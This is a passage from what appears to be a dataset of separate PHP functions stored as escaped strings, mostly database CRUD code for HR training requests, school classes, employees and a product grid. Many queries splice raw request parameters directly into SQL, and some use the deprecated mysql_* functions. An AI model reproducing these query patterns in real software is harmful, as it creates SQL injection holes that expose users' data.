$_REQUEST['dataNote'] : \"\";\n $strDataTrainer = (isset($_REQUEST['dataTrainer'])) ? $_REQUEST['dataTrainer'] : \"\";\n $strDataInstitutionID = (isset($_REQUEST['dataInstitutionID'])) ? $_REQUEST['dataInstitutionID'] : \"\";\n $strDataCategory = (isset($_REQUEST['dataCategory'])) ? $_REQUEST['dataCategory'] : 0;\n $strDataPlace = (isset($_REQUEST['dataPlace'])) ? $_REQUEST['dataPlace'] : 0;\n $strDataAddress = (isset($_REQUEST['dataAddress'])) ? $_REQUEST['dataAddress'] : \"\";\n $strDataResult = (isset($_REQUEST['dataResult'])) ? $_REQUEST['dataResult'] : \"\";\n $strDataTrainingStatus = (isset($_REQUEST['dataTrainingStatus'])) ? $_REQUEST['dataTrainingStatus'] : 0;\n $strDataCost = (isset($_REQUEST['dataCost'])) ? $_REQUEST['dataCost'] : 0;\n $strDataCost = str_replace(\",\", \"\", $strDataCost);\n if (!is_numeric($strDataCost)) {\n $strDataCost = 0;\n }\n $strDataOtherCost = (isset($_REQUEST['dataCostOther'])) ? $_REQUEST['dataCostOther'] : 0;\n $strDataOtherCost = str_replace(\",\", \"\", $strDataOtherCost);\n if (!is_numeric($strDataOtherCost)) {\n $strDataOtherCost = 0;\n }\n $strDataPaidBy = (isset($_REQUEST['dataPaidBy'])) ? $_REQUEST['dataPaidBy'] : 0;\n if (!is_numeric($strDataPaidBy)) {\n $strDataPaidBy = 0;\n }\n $strDataPlan = (isset($_REQUEST['dataPlan'])) ? $_REQUEST['dataPlan'] : \"\";\n $fltTotalCost = $strDataCost + $strDataOtherCost;\n if (!is_numeric($strDataPlan)) {\n $strDataPlan = \"NULL\";\n }\n $intTotal1 = ($_REQUEST['numShow1']) ? $_REQUEST['numShow1'] : 0; // udah dicari di depan, jadi gak perlu lagi\n $total = 0;\n // cari ID dari employee\n $objEmp = new clsEmployees($db);\n $objEmp->loadData();\n $strIDEmployee = $objEmp->getInfoByCode($strDataEmployee, \"id\");\n // cek validasi -----------------------\n if ($strIDEmployee == \"\") {\n $strIDEmployee = -1;\n $bolOK = false;\n } else if ($strDataNumber == \"\") {\n $strError = $error['empty_code'];\n $bolOK = false;\n } else if (!validStandardDate($strDataDate)) {\n $strError = $error['invalid_date'];\n $bolOK = false;\n } else if ($_SESSION['sessionUserRole'] == ROLE_EMPLOYEE) {\n // cek apakah tanggal terjadi sebelum hari ini/sebelum tanggal request.\n $tmp = dateCompare($strDataDate, $strDataTrainingDate);\n if ($tmp == 1) { // lebih besar hari ini (requestdate)\n $strError = getWords(\"cannot_entry_date_before_today\");\n $bolOK = false;\n }\n }\n // cek apakah ada conflik atau gak dari pesertanya\n if ($bolOK) {\n $intTotal = (isset($_REQUEST['maxDetail'])) ? $_REQUEST['maxDetail'] : 0;\n $arrEmployee = []; // nampung ID dari employee peserta\n for ($i = 1; $i <= $intTotal; $i++) {\n $strEmpID = (isset($_REQUEST['detailEmployeeID' . $i])) ? $_REQUEST['detailEmployeeID' . $i] : \"\";\n if ($strEmpID != \"\") {\n $strID = $objEmp->getInfoByCode($strEmpID, \"id\");;\n $arrEmployee[$strEmpID] = $strID;\n // cek permohonan cuti\n if ($bolOK) {\n $arrTmp = isLeaveExists(\n $db,\n $strID,\n $strDataTrainingDate,\n $strDataTrainingDateThru,\n $strDataID\n ); // activity.php\n if ($arrTmp['status']) { // ada data conflic\n $bolOK = false;\n $strError = getWords(\"activity_conflict\") . \" {Leave - $strEmpID} \";\n $strError .= \"<a href=\\\"leave_edit.php?dataID=\" . $arrTmp['id'] . \"\\\">\";\n $strError .= pgDateFormat($arrTmp['from'], \"d-M-y\");\n if ($arrTmp['from'] != $arrTmp['thru']) {\n $strError .= \" - \" . pgDateFormat($arrTmp['thru'], \"d-M-y\");\n }\n $strError .= \"</a>\";\n break;\n }\n }\n // cek training\n if ($bolOK) {\n $arrTmp = isTrainingExists(\n $db,\n $strID,\n $strDataTrainingDate,\n $strDataTrainingDateThru,\n $strDataID\n ); // activity.php\n if ($arrTmp['status']) { // ada data conflic\n $bolOK = false;\n $strError = getWords(\"activity_conflict\") . \" {Training - $strEmpID} \";\n $strError .= \"<a href=\\\"training_request_edit.php?dataID=\" . $arrTmp['id'] . \"\\\">\";\n $strError .= pgDateFormat($arrTmp['from'], \"d-M-y\");\n if ($arrTmp['from'] != $arrTmp['thru']) {\n $strError .= \" - \" . pgDateFormat($arrTmp['thru'], \"d-M-y\");\n }\n $strError .= \"</a>\";\n break;\n }\n }\n }\n }\n }\n $strDataTrainingDate = validStandardDate($strDataTrainingDate) ? \"'$strDataTrainingDate'\" : \"NULL\";\n $strDataTrainingDateThru = validStandardDate($strDataTrainingDateThru) ? \"'$strDataTrainingDateThru'\" : \"NULL\";\n $strDataDate = validStandardDate($strDataDate) ? \"'$strDataDate'\" : \"NULL\";\n //$strDataTopicID = ($strDataTopicID == \"\") ? \"NULL\" : \"'$strDataTopicID'\";\n $strDataInstitutionID = ($strDataInstitutionID == \"\") ? \"NULL\" : \"'$strDataInstitutionID'\";\n // simpan data -----------------------\n if ($bolOK) { // input OK, tinggal disimpan\n // echo \"aa\";\n if ($strDataID == \"\") {\n // data baru\n $strDataID = $db->getNextID(\"hrd_training_request_id_seq\");\n $strSQL = \"\n INSERT INTO hrd_training_request (id, created,created_by,modified_by,\n id_employee, request_date, request_number,\n status, category, place, training_status , id_plan, address, \n cost, paid_by, result, cost_other)\n VALUES('$strDataID', now(),'$strmodified_byID','$strmodified_byID',\n '$strIDEmployee', $strDataDate, '$strDataNumber',\n \" . REQUEST_STATUS_NEW . \", '$strDataCategory', '$strDataPlace',\n '$strDataTrainingStatus','$strDataPlan', '$strDataAddress',\n '$strDataCost', '$strDataPaidBy', '$strDataResult', '$strDataOtherCost')\n \";\n // echo $strSQL.\",\".$strDataPlan;\n $resExec = $db->execute($strSQL);\n } else {\n // cek status, jika sudah approved, gak boleh diedit lagi\n // kecuali jika admin\n if ($_SESSION['sessionUserRole'] == ROLE_EMPLOYEE) {\n $strSQL = \"SELECT status FROM hrd_training_request WHERE id = '$strDataID' \";\n $resDb = $db->execute($strSQL);\n if ($rowDb = $db->fetchrow($resDb)) {\n if ($rowDb['status'] != REQUEST_STATUS_CHECKED) {\n $strError = $error['edit_data_denied'];\n return false;\n }\n }\n }\n $strSQL = \"\n UPDATE hrd_training_request\n SET modified_by = '\" . $_SESSION['sessionUserID'] . \"',\n request_date = $strDataDate, id_employee = '$strIDEmployee',\n request_number = '$strDataNumber',\n category = '$strDataCategory', place = '$strDataPlace',\n training_status = '$strDataTrainingStatus', id_plan = $strDataPlan,\n address ='$strDataAddress', cost = '$strDataCost',\n paid_by = '$strDataPaidBy', result = '$strDataResult',\n cost_other = '$strDataOtherCost'\n WHERE id = '$strDataID'\n \";\n $resExec = $db->execute($strSQL);\n }\n if ($strDataID != \"\") {\n // SIMPAN DATA PARTISIPAN\n $intParticipant = 0; // jumlah participant\n // simpan data employee participant\n // hapus dulu aja, biar simple\n $strSQL = \"DELETE FROM hrd_training_request_participant WHERE id_request = '$strDataID' \";\n $resExec = $db->execute($strSQL);\n //$intTotal = (isset($_REQUEST['maxDetail'])) ? $_REQUEST['maxDetail'] : 0; // udah dicari di depan, jadi gak perlu lagi\n $strDataCost = 0;\n $strDataOtherCost = 0; // reset\n for ($i = 1; $i <= $intTotal; $i++) {\n if (isset($_REQUEST['detailEmployeeID' . $i])) {\n $strEmpID = $_REQUEST['detailEmployeeID' . $i];\n $strStatus = (isset($_REQUEST['detailStatus' . $i])) ? $_REQUEST['detailStatus' . $i] : 0;\n $strNote = (isset($_REQUEST['detailNote' . $i])) ? $_REQUEST['detailNote' . $i] : \"\";\n $fltCost = (isset($_REQUEST['detailAmount' . $i])) ? str_replace(\",\", \"\", $_REQUEST['detailAmount' . $i]) : 0;\n $fltCostOther = (isset($_REQUEST['detailAmountOther' . $i])) ? str_replace(\n \",\",\n \"\",\n $_REQUEST['detailAmountOther' . $i]\n ) : 0;\n $strDataCost += $fltCost;\n $strDataOtherCost += $fltCostOther;\n // cari IDnya, kalau ada\n if ($strEmpID != \"\") {\n if (isset($arrEmployee[$strEmpID])) {\n if ($arrEmployee[$strEmpID] != \"\") {\n // simpan\n $strSQL = \"\n INSERT INTO hrd_training_request_participant (created, modified_by,\n created_by, id_request, id_employee, status, note, cost,\n other_cost)\n VALUES(now(), '$strmodified_byID', '$strmodified_byID',\n '$strDataID', '\" . $arrEmployee[$strEmpID] . \"', '$strStatus',\n '$strNote', '$fltCost', '$fltCostOther')\n \";\n $resExec = $db->execute($strSQL);\n if ($strStatus == 0) {\n $intParticipant++;\n }\n }\n }\n }\n }\n }\n /*\n // update cost per employee, jika data ada\n if ($intParticipant > 0)\n {\n $fltAmount = $fltTotalCost / $intParticipant;\n $strSQL = \"\n UPDATE hrd_training_request_participant SET cost = '$fltAmount'\n WHERE id_request = '$strDataID' AND status = 0\n \";\n $resExec = $db->execute($strSQL);\n }\n */\n // SIMPAN DATA TRAINER, JIKA ADA\n $intTrainer = 0; // jumlah participant\n // hapus dulu aja, biar simple\n $strSQL = \"DELETE FROM hrd_training_request_trainer WHERE id_request = '$strDataID' \";\n $resExec = $db->execute($strSQL);\n if ($strDataCategory == 0 || $strDataCategory == 1) {\n $intTotalTrainer = 0;\n } else {\n $intTotalTrainer = (isset($_REQUEST['numTrainerShow'])) ? $_REQUEST['numTrainerShow'] : 0;\n }\n for ($i = 1; $i <= $intTotalTrainer; $i++) {\n if (isset($_REQUEST['detailTrainerEmployeeID' . $i])) {\n $strEmpID = $_REQUEST['detailTrainerEmployeeID' . $i];\n $strStatus = (isset($_REQUEST['detailTrainerStatus' . $i])) ? $_REQUEST['detailStatus' . $i] : 0;\n // cari IDnya, kalau ada\n if ($strEmpID != \"\") {\n $intEmpID = $objEmp->getInfoByCode($strEmpID, \"id\");\n if ($intEmpID != \"\") {\n // simpan\n $strSQL = \"\n INSERT INTO hrd_training_request_trainer (created, modified_by,\n created_by, id_request, id_employee, status)\n VALUES(now(), '$strmodified_byID', '$strmodified_byID',\n '$strDataID', '\" . $intEmpID . \"', '$strStatus')\n \";\n $resExec = $db->execute($strSQL);\n if ($strStatus == 0) {\n $intTrainer++;\n }\n }\n }\n }\n }\n // update cost per employee, jika data ada\n if ($intTrainer > 0) {\n $fltAmount = $fltTotalCost / $intTrainer;\n $strSQL = \"\n UPDATE hrd_training_request_trainer SET cost = '$fltAmount' \n WHERE id_request = '$strDataID' AND status = 0 \n \";\n $resExec = $db->execute($strSQL);\n }\n $strSQL = \"DELETE FROM hrd_training_request_detailtime WHERE id_request = '$strDataID' \";\n $resExec = $db->execute($strSQL);\n $intTotal1 = ($_REQUEST['numShow1']) ? $_REQUEST['numShow1'] : 0; // udah dicari di depan, jadi gak perlu lagi\n $total = 0;\n $fltTotalMin = 0;\n $arrDateDetail = [];\n for ($i = 1; $i <= $intTotal1; $i++) {\n $strDataDate1 = (isset($_REQUEST['dataDateTraining' . $i])) ? $_REQUEST['dataDateTraining' . $i] : \"\";\n if ($strDataDate == \"\") {\n continue;\n }\n $strDataStart = (isset($_REQUEST['dataStart' . $i])) ? $_REQUEST['dataStart' . $i] : \"\";\n $strDataFinish = (isset($_REQUEST['dataFinish' . $i])) ? $_REQUEST['dataFinish' . $i] : \"\";\n list($firstMinute, $firstSecond) = explode(':', $strDataStart);\n list($secondMinute, $secondSecond) = explode(':', $strDataFinish);\n // hitung durasi\n $firstSecond += ($firstMinute * 60);\n $secondSecond += ($secondMinute * 60);\n $duration = $secondSecond - $firstSecond;\n $total = $duration + $total;\n $intHour = $duration / 60;\n if ($intHour < 1) {\n $intHour = 0;\n }\n $intHour = intval($intHour);\n $intMin = $duration % 60;\n $strDuration = $intHour . \" : \" . $intMin;\n $fltDuration = ($intHour * 60) + $intMin;\n if (!isset($arrDateDetail[$strDataDate1])) {\n $arrDateDetail[$strDataDate1] = $fltDuration;\n $fltTotalMin += $fltDuration;\n }\n // save detail time\n if ($strDataDate1 != \"\") {\n // simpan\n $strSQL = \"\n INSERT INTO hrd_training_request_detailtime (currdate, updater, \n creator, id_request, timestart, timefinish, duration, trainingdate) \n VALUES(now(), '$strmodified_byID', '$strmodified_byID', \n '$strDataID','$strDataStart', '$strDataFinish', '$strDuration', '$strDataDate1') \n \";\n //$strSQL .= \"'$strDataID', '\" .$rowT['id'].\"') \";\n $resExec = $db->execute($strSQL);\n } else {\n $strSQL = \"\n INSERT INTO hrd_training_request_detailtime (currdate, updater, \n creator, id_request, timestart, timefinish, duration, trainingdate) \n VALUES(null,null,null, \n null,null, null, null,null) \n \";\n //$strSQL .= \"'$strDataID', '\" .$rowT['id'].\"') \";\n $resExec = $db->execute($strSQL);\n }\n }\n $fltDuration = count($arrDateDetail);\n // update data durasi dan biaya\n $strSQL = \"\n UPDATE hrd_training_request SET total_duration = '$fltDuration',\n total_hour = '$fltTotalMin', cost = '$strDataCost',\n cost_other = '$strDataOtherCost'\n WHERE id = '$strDataID';\n \";\n $resExec = $db->execute($strSQL);\n }\n writeLog(ACTIVITY_EDIT, MODULE_PAYROLL, \"MUTATION DATA\", 0);\n $strError = $messages['data_saved'];\n } else { // ---- data SALAH\n // gunakan data yang diisikan tadi\n $arrData['dataDepartment'] = $strDataDepartment;\n $arrData['dataDate'] = $strDataDate;\n $arrData['dataTrainingDate'] = $strDataTrainingDate;\n $arrData['dataTrainingDateThru'] = $strDataTrainingDateThru;\n $arrData['dataNumber'] = $strDataNumber;\n $arrData['dataEmployee'] = $strDataEmployee;\n $arrData['dataTopic'] = $strDataTopic;\n $arrData['dataNote'] = $strDataNote;\n $arrData['dataTrainer'] = $strDataTrainer;\n $arrData['dataInstitution'] = \"\";\n $arrData['dataResult'] = $strDataResult;\n $arrData['dataInstitutionID'] = \"\";\n $arrData['dataCost'] = $strDataCost;\n $arrData['dataPaidBy'] = $strDataPaidBy;\n $arrData['dataTrainingType'] = $strDataType;\n $arrData['dataID'] = $strDataID;\n writeLog(ACTIVITY_EDIT, MODULE_PAYROLL, \"ABSENCE DATA\", 0);\n }\n return $bolOK;\n}", "function tambah_data_wakel(){\n\t\tGLOBAL $koneksi;\n\t\t$query2 = mysqli_query($koneksi,\"SELECT max(kelas.id_kelas) AS 'id' FROM kelas\");\n\t\t$data = mysqli_fetch_assoc($query2);\n\n\t\t$w_kelas = (int)strip_tags(trim($_POST['wali_kelas']));\n\t\t$id_kelas = $data['id'];\n\t\t$query = \"INSERT INTO wali_kelas VALUES(NULL,'$w_kelas','$id_kelas')\";\n\n\t\treturn run_query($query); \t\t\n\t}", "function inputdata($data)\n\t{\n\t\t$this->db->insert($this->table, $data);\n\t}", "function data_handler($root)\n{\n\tif (isset($_GET['act']) && $_GET['act'] == 'add')\n\t{\n\t\tdata_editor($root);\n\t\treturn;\n\t}\n\t\n\t$sql = 'SELECT COUNT(*) AS total FROM ' . MHS;\n\t$res = mysql_query($sql);\n\t\n\t//jika data di tabel ada\n\tif (mysql_num_rows($res))\n\t{\n\t\tif (isset($_GET['act']) && $_GET['act'] != '')\n\t\t{\n\t\t\tswitch($_GET['act'])\n\t\t\t{\n\t\t\t\tcase 'edit':\n\t\t\t\t\tif (isset($_GET['id']) && ctype_digit($_GET['id']))\n\t\t\t\t\t{\n\t\t\t\t\t\tdata_editor($root, $_GET['id']);\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tshow_admin_data($root);\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'view':\n\t\t\t\t\tif (isset($_GET['id']) && ctype_digit($_GET['id']))\n\t\t\t\t\t{\n\t\t\t\t\t\tdata_detail($root, $_GET['id'], 1);\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tshow_admin_data($root);\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'del':\n\t\t\t\t\tif (isset($_GET['id']) && ctype_digit($_GET['id']))\n\t\t\t\t\t{\n\t\t\t\t\t\t//key untuk penghapusan data\n\t\t\t\t\t\t$id = $_GET['id'];\n\t\t\t\t\t\t$sql = \"DELETE FROM mahasiswa WHERE nim='$id'\";\n\t\t\t\t\t\t//lengkapi pernyataan SQL hapus data\n\t\t\t\t\t\t$res = mysql_query($sql);\n\t\t\t\t\t\tif ($res)\n\t\t\t\t\t\t{ \n?>\n\t\t\t\t\t\t<?php\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\techo 'Gagal menghapus data';\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tshow_admin_data($root);\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\tdefault:\n\t\t\t\tshow_admin_data($root);\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\tshow_admin_data($root);\n\t\t}\n\t\t@mysql_close($res);\n\t}\n\telse\n\t{\n\t\techo 'Data Tidak Ditemukan';\n\t}\n}", "function dataSelect() {\n\t\t\t\t$koneksi = $this->koneksi;\n\t\t\t\t// SQL\n\t\t\t\t$query\t\t\t= \"SELECT * FROM pegawai ORDER BY id ASC\";\n\t\t\t\t\n\t\t\t\t$sql\t\t\t= mysqli_query($koneksi,$query);\n\t\t\t\t\n\t\t\t\treturn $sql;\n\t\t\t}", "function getData($db)\n{\n global $words;\n global $arrData;\n global $strDataID;\n global $_REQUEST;\n global $bolCanEdit;\n if (isset($_REQUEST['fileID']) && !isset($_REQUEST['btnSave'])) {\n if ($bolCanEdit) {\n deleteFile($db, $_REQUEST['fileID']);\n } else {\n $strMessages = getWords('delete_denied');\n $strMsgClass = \"class=bgError\";\n }\n }\n //UNTUK MENAMPILKAN DOCUMENT\n global $strFileOption;\n //global $strWordsDeleteFile;\n $strSQL = \"SELECT id,doc FROM hrd_training_plan\";\n $resDb = $db->execute($strSQL);\n while ($row = $db->fetchrow($resDb)) {\n if ($row['doc'] == \"\") {\n $strDataDoc = \"\";\n } else {\n if (file_exists(\"trainingdoc/\" . $row['doc'])) {\n $strDataDoc = \"<a href=\\\"trainingdoc/\" . $row['doc'] . \"\\\" target=\\\"_blank\\\" > <img src='trainingdoc/\" . $row['doc'] . \"' alt=\\\"\" . $row['doc'] . \"\\\"></a>&nbsp;&nbsp;\";\n } else {\n $strDataDoc = \"\";\n }\n }\n //$strFileOption = \"<td>&nbsp;</td><td>&nbsp;</td><td><span id=\\\"doc\\\">&nbsp;\".$strDataDoc.\"</span>\";\n if ($strDataDoc != \"\") {\n $tempId = $row['id'];\n $strFileOption .= \"<td id='syllabus$tempId' style=display:none><span id=\\\"doc\\\">&nbsp;\" . $strDataDoc . \"</span></td>\";\n }\n //if($strDataDoc != \"\") $strFileOption .= \"<input name=\\\"btnDeleteDoc\\\" type=\\\"button\\\" id=\\\"btnDelete\\\" value=\\\"$strWordsDeleteFile\\\" onClick=\\\"deleteFile($strDataID);\\\"></td>\";\n //$strFileOption .= \"<input type=hidden id='syllabusDoc' name='syllabusDoc' value=$row[doc]>\";\n }\n //SEDIKIT DESPERATE, selesai\n // echo \"a1: \".$strDataID;\n if ($strDataID != \"\") {\n $strSQL = \"\n SELECT t1.*, t2.employee_id, t3.* \n FROM hrd_training_request AS t1 \n LEFT JOIN hrd_employee AS t2 ON t1.id_employee = t2.id \n\t\tLEFT JOIN hrd_training_plan AS t3 ON t1.id_plan = t3.id \n WHERE t1.id = '$strDataID' \n \";\n $resDb = $db->execute($strSQL);\n if ($rowDb = $db->fetchrow($resDb)) {\n $arrData['dataDate'] = $rowDb['request_date'];\n $arrData['dataTrainingDate'] = $rowDb['training_date'];\n $arrData['dataTrainingDateThru'] = $rowDb['training_date_thru'];\n $arrData['dataStatus'] = $rowDb['status'];\n $arrData['dataTrainingStatus'] = $rowDb['training_status'];\n $arrData['dataPlace'] = $rowDb['place'];\n $arrData['dataCategory'] = $rowDb['category'];\n $arrData['dataPlan'] = $rowDb['id_plan'];\n $arrData['dataTopic'] = $rowDb['topic'];\n $arrData['dataDepartment'] = $rowDb['department_code'];\n $arrData['dataEmployee'] = $rowDb['employee_id'];\n $arrData['dataNumber'] = $rowDb['request_number'];\n $arrData['dataTrainer'] = $rowDb['trainer'];\n $arrData['dataInstitution'] = $rowDb['institution'];\n $arrData['dataInstructorID'] = $rowDb['id_instructor'];\n $arrData['dataID'] = $strDataID;\n $arrData['dataAddress'] = $rowDb['address'];\n $arrData['dataCost'] = $rowDb['cost'];\n $arrData['dataTrainingType'] = $rowDb['training_type'];\n $arrData['dataPaidBy'] = $rowDb['paid_by'];\n $arrData['dataResult'] = $rowDb['result'];\n $arrData['dataDuration'] = $rowDb['total_duration'];\n $arrData['dataDurationMin'] = $rowDb['total_hour'];\n $arrData['dataCostOther'] = $rowDb['cost_other'];\n $arrData['doc'] = $rowDb['doc'];\n $arrData['dataDivision'] = $rowDb['division_code'];\n $arrData['dataSection'] = $rowDb['section_code'];\n $arrData['dataSubSection'] = $rowDb['sub_section_code'];\n $arrData['dataNote'] = $rowDb['note'];\n $arrData['dataInstitutionID'] = $rowDb['id_training_vendor'];\n $arrData['dataTrainingCompetency'] = $rowDb['competency'];\n $arrData['dataTrainingDomain'] = $rowDb['domain'];\n $arrData['dataTrainingDate'] = $rowDb['expected_date'];\n }\n // print_r($arrData);\n } else {\n // cek jika ada request dari training plan\n if (isset($_REQUEST['btnCreate'])) {\n $strPlanID = (isset($_REQUEST['id_plan'])) ? $_REQUEST['id_plan'] : \"\";\n if ($strPlanID != \"\") {\n $arrData['dataPlan'] = $strPlanID;\n $strSQL = \"SELECT * FROM hrd_training_plan WHERE id = '$strPlanID' \";\n $resDb = $db->execute($strSQL);\n if ($rowDb = $db->fetchrow($resDb)) {\n $arrData['dataDivision'] = $rowDb['division_code'];\n $arrData['dataDepartment'] = $rowDb['department_code'];\n $arrData['dataSection'] = $rowDb['section_code'];\n $arrData['dataSubSection'] = $rowDb['sub_section_code'];\n $arrData['dataTopic'] = $rowDb['topic'];\n $arrData['dataNote'] = $rowDb['note'];\n $arrData['dataInstitutionID'] = $rowDb['id_training_vendor'];\n $arrData['dataInstructorID'] = $rowDb['id_instructor'];\n $arrData['dataTrainingCompetency'] = $rowDb['competency'];\n $arrData['dataTrainingDomain'] = $rowDb['domain'];\n $arrData['dataTrainingType'] = $rowDb['training_type'];\n $arrData['dataTrainingDate'] = $rowDb['expected_date'];\n if ($rowDb['duration'] > 1) {\n if ($rowDb['expected_date'] != \"\") {\n $arrData['dataTrainingDateThru'] = getNextDate($rowDb['expected_date'], $rowDb['duration'] - 1);\n }\n } else {\n $arrData['dataTrainingDateThru'] = $arrData['dataTrainingDate'];\n }\n }\n }\n }\n // cek jika ada request untuk sharing session dari \"search training request\"\n if (isset($_REQUEST['btnCreateSharing'])) {\n $strPlanID = (isset($_REQUEST['id_plan'])) ? $_REQUEST['id_plan'] : \"\";\n if ($strPlanID != \"\") {\n $arrData['dataPlan'] = $strPlanID;\n $strSQL = \"SELECT * FROM hrd_training_request WHERE id = '$strPlanID' \";\n $resDb = $db->execute($strSQL);\n if ($rowDb = $db->fetchrow($resDb)) {\n $arrData['dataDepartment'] = $rowDb['department_code'];\n //$arrData['dataNote'] = $rowDb['note'];\n $arrData['dataInstitutionID'] = $rowDb['id_institution'];\n $arrData['dataTrainingType'] = $rowDb['training_type'];\n $arrData['dataCategory'] = '3';\n $arrData['dataResult'] = $rowDb['result'];\n $arrData['dataResult'] = $rowDb['result'];\n $arrData['dataPlan'] = $rowDb['id_plan'];\n $arrData['dataTrainer'] = $rowDb['trainer'];\n $arrData['dataLocation'] = $rowDb['place'];\n $arrData['dataAddress'] = $rowDb['address'];\n $arrData['dataPaid'] = $rowDb['paid_by'];\n //$arrData['dataTrainingDate'] = $rowDb['expected_date'];\n // if ($rowDb['duration'] > 1)\n // {\n // if ($rowDb['expected_date'] != \"\" ) $arrData['dataTrainingDateThru'] = getNextDate($rowDb['expected_date'], $rowDb['duration']-1);\n // }\n // else\n // $arrData['dataTrainingDateThru'] = $arrData['dataTrainingDate'];\n }\n }\n }\n }\n return true;\n}", "function setData(){\n\t\t$this->load->library('jqdatagrid');\n\t\t$oper = $this->input->post('oper');\n\t\t$id = $this->input->post('id');\n\t\t$data = $_POST;\n\t\t$mcodp = \"??????\";\n\t\t$check = 0;\n\n\t\tunset($data['oper']);\n\t\tunset($data['id']);\n\t\tif($oper == 'add'){\n\t\t\tif(false == empty($data)){\n\t\t\t\t$check = $this->datasis->dameval(\"SELECT count(*) FROM prdo WHERE $mcodp=\".$this->db->escape($data[$mcodp]));\n\t\t\t\tif ( $check == 0 ){\n\t\t\t\t\t$this->db->insert('prdo', $data);\n\t\t\t\t\techo \"Registro Agregado\";\n\n\t\t\t\t\tlogusu('PRDO',\"Registro ????? INCLUIDO\");\n\t\t\t\t} else\n\t\t\t\t\techo \"Ya existe un registro con ese $mcodp\";\n\t\t\t} else\n\t\t\t\techo \"Fallo Agregado!!!\";\n\n\t\t} elseif($oper == 'edit') {\n\t\t\t$nuevo = $data[$mcodp];\n\t\t\t$anterior = $this->datasis->dameval(\"SELECT $mcodp FROM prdo WHERE id=$id\");\n\t\t\tif ( $nuevo <> $anterior ){\n\t\t\t\t//si no son iguales borra el que existe y cambia\n\t\t\t\t$this->db->query(\"DELETE FROM prdo WHERE $mcodp=?\", array($mcodp));\n\t\t\t\t$this->db->query(\"UPDATE prdo SET $mcodp=? WHERE $mcodp=?\", array( $nuevo, $anterior ));\n\t\t\t\t$this->db->where(\"id\", $id);\n\t\t\t\t$this->db->update(\"prdo\", $data);\n\t\t\t\tlogusu('PRDO',\"$mcodp Cambiado/Fusionado Nuevo:\".$nuevo.\" Anterior: \".$anterior.\" MODIFICADO\");\n\t\t\t\techo \"Grupo Cambiado/Fusionado en clientes\";\n\t\t\t} else {\n\t\t\t\tunset($data[$mcodp]);\n\t\t\t\t$this->db->where(\"id\", $id);\n\t\t\t\t$this->db->update('prdo', $data);\n\t\t\t\tlogusu('PRDO',\"Grupo de Cliente \".$nuevo.\" MODIFICADO\");\n\t\t\t\techo \"$mcodp Modificado\";\n\t\t\t}\n\n\t\t} elseif($oper == 'del') {\n\t\t\t$meco = $this->datasis->dameval(\"SELECT $mcodp FROM prdo WHERE id=$id\");\n\t\t\t//$check = $this->datasis->dameval(\"SELECT COUNT(*) FROM prdo WHERE id='$id' \");\n\t\t\tif ($check > 0){\n\t\t\t\techo \" El registro no puede ser eliminado; tiene movimiento \";\n\t\t\t} else {\n\t\t\t\t$this->db->query(\"DELETE FROM prdo WHERE id=$id \");\n\t\t\t\tlogusu('PRDO',\"Registro ????? ELIMINADO\");\n\t\t\t\techo \"Registro Eliminado\";\n\t\t\t}\n\t\t};\n\t}", "public function data(){\n\t\t$get_data = json_decode($_GET['data']);\n\t\t//update db\n\t\tforeach($get_data as $key=>$value){\n\t\t\t$data = array(\n\t\t\t\t'slide_order'=>$key+1,\n\t\t\t);\n\t\t\t$this->slide_model->update($value->id,$data);\n\t\t}\n\t}", "function saveData()\n{\n global $f;\n global $isNew;\n global $strDataID;\n global $tbl;\n global $db;\n $data = $_REQUEST;\n // print_r($data);\n // die();\n // simpan data -----------------------\n $bolSuccess = false;\n ($strDataID == \"\") ? $strKriteria = \"\" : $strKriteria = \"AND id <> '$strDataID' \";\n if (isDataExists($db, \"hrd_recruitment_process_type\", \"name\", $data['name'], $strKriteria)) {\n $strError = getWords('duplicate_code') . \" -> {$data['name']}\";\n return false;\n }\n if (!is_numeric($data['step'])) {\n // cari apakah step terakhir\n $strDataStep = 0;\n $strSQL = \"SELECT MAX(step) AS maks FROM hrd_recruitment_process_type \";\n $arrResult = $tbl->query($strSQL);\n $data['step'] = 1;\n if (count($arrResult) > 0) {\n $data['step'] = intval($arrResult[0]['maks']) + 1;\n }\n }\n if ($isNew) {\n $strSQL1 = \"SELECT id, step FROM hrd_recruitment_process_type WHERE step >= \" . $data['step'] . \" order by step ASC\";\n $arrResult1 = $tbl->query($strSQL1);\n $dataAwal = $arrResult1[0]['step'];\n foreach ($arrResult1 as $loop) {\n if ($loop['step'] == $dataAwal) {\n $strSQL = \"UPDATE hrd_recruitment_process_type SET step = \" . ($loop[\"step\"] + 1) . \" WHERE id = \" . $loop[\"id\"] . \" \";\n $tbl->execute($strSQL);\n //echo ($loop[\"step\"]+1).\" | \";\n }\n $dataAwal++;\n }\n if ($bolSuccess = $tbl->insert($data)) {\n $f->setValue('dataID', $tbl->getLastInsertID());\n $dataName = $data['name'];\n }\n } else {\n if ($rowDb = $tbl->findById($strDataID, \"step\")) {\n $intCurrStep = $rowDb['step'];\n if ($intCurrStep < $data['step']) { // step jadi lebih banyak\n $strSQL = \"UPDATE hrd_recruitment_process_type SET step = step - 1 \";\n $strSQL .= \"WHERE step > '$intCurrStep' AND step <= '\" . $data['step'] . \"' \";\n $tbl->execute($strSQL);\n } else if ($intCurrStep > $data['step']) { // step jadi lebih sedikit\n $strSQL = \"UPDATE hrd_recruitment_process_type SET step = step + 1 \";\n $strSQL .= \"WHERE step < '$intCurrStep' AND step >= '\" . $data['step'] . \"' \";\n $tbl->execute($strSQL);\n }\n }\n if ($bolSuccess = $tbl->update(/*pk*/\n \"id='\" . $f->getValue('dataID') . \"'\", /*data to update*/\n $data\n )\n ) {\n $dataName = $data['name'];\n }\n }\n if ($bolSuccess) {\n $f->message = $tbl->strMessage;\n //$f->setValues('step', getDataListRecruitmentProcessTypeStep(null, true));\n writeLog(ACTIVITY_ADD, MODULE_PAYROLL, \"{$dataName}\", 0);\n } else {\n $f->errorMessage = $tbl->strMessage;\n }\n}", 